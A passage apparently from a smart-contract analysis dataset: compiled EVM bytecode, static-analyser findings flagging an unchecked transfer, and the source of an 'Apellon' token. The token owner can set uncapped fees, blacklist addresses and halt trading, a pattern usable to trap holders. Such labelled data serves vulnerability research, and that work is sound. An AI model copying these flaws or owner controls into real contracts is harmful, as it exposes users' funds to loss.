ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806111bb5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156111c657600080fd5b85519350600092505b8383101561125b5785838151811015156111e557fe5b90602001906020020151915084838151811015156111ff57fe5b906020019060200201519050806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082806001019350506111cf565b505050505050565b600061126d6125ad565b600360009054906101000a900460ff16151561128857600080fd5b61129384848361129c565b91505092915050565b6000806000600360009054906101000a900460ff1615156112bc57600080fd5b853b9150611311856000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122fa90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113a4856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461231390919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821115611516578590508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3387876040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156114b4578082015181840152602081019050611499565b50505050905090810190601f1680156114e15780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561150157600080fd5b6102c65a03f1151561151257600080fd5b5050505b8573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a36001925050509392505050565b600360009054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061166a5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561167557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156116b557600080fd5b5050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561171557600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60096020528060005260406000206000915090508054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118015780601f106117d657610100808354040283529160200191611801565b820191906000526020600020905b8154815290600101906020018083116117e457829003601f168201915b505050505081565b6000600360009054906101000a900460ff16151561182657600080fd5b6118308383612331565b905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061198e5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561199957600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611a4457600080fd5b6102c65a03f11515611a5557600080fd5b5050506040518051905050505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ac157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611afd57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611cec57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d3957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611dc457600080fd5b611e15826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122fa90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ea8826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461231390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f7982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122fa90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561217a576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061220e565b61218d83826122fa90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600082821115151561230857fe5b818303905092915050565b600080828401905083811015151561232757fe5b8091505092915050565b60006123c282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461231390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061256e57805160ff191683800117855561259c565b8280016001018555821561259c579182015b8281111561259b578251825591602001919060010190612580565b5b5090506125a991906125c1565b5090565b602060405190810160405280600081525090565b6125e391905b808211156125df5760008160009055506001016125c7565b5090565b905600a165627a7a723058201b662b18041fdd087160785267b9bbb3c3912605dcbe315003a0ac8dd6d26ecb0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,094
0x7236de1b095db6307a5c2f9f4e0c6482557c68f2
/** *Submitted for verification at Etherscan.io on 2022-05-01 */ /** *Submitted for verification at Etherscan.io on 2022-04-20 */ /** *Submitted for verification at Etherscan.io on 2022-04-14 */ // SPDX-License-Identifier: UNLICENSED /* THE ANCIENT APE GOD ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓░░░░░░▓▓░░░░░░▓▓▓▓ ░░░░▓▓░░░░░░░░░░░░░░░░░░▓▓░░░░ ░░░░▓▓░░ ██░░░░░░ ██░░▓▓░░░░ ░░▓▓░░████░░░░░░████░░▓▓░░ ▓▓░░▒▒▒▒░░░░░░▒▒▒▒░░▓▓ ▓▓░░░░░░░░░░░░░░▓▓ ▓▓▓▓░░░░░░▓▓▓▓ ▓▓▓▓▓▓ ░░ ▓▓▓▓▓▓▓▓▓▓ ▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓░░▓▓░░▓▓▓▓ tg: apelloneth twitter: apelloneth website: apellon.info */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract apellon is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Apellon"; string private constant _symbol = "APELLON"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 12; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x34AC7Fd516B5fBcEA653d0A9F3377DCa5a28315C); address payable private _marketingAddress = payable(0x46a085cD61Df491c88c2911FDd9c8d204A040A5a); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000 * 10**9; //1% uint256 public _maxWalletSize = 40000 * 10**9; //3% uint256 public _swapTokensAtAmount = 4000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280600781526020017f4170656c6c6f6e00000000000000000000000000000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066038d7ea4c68000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffff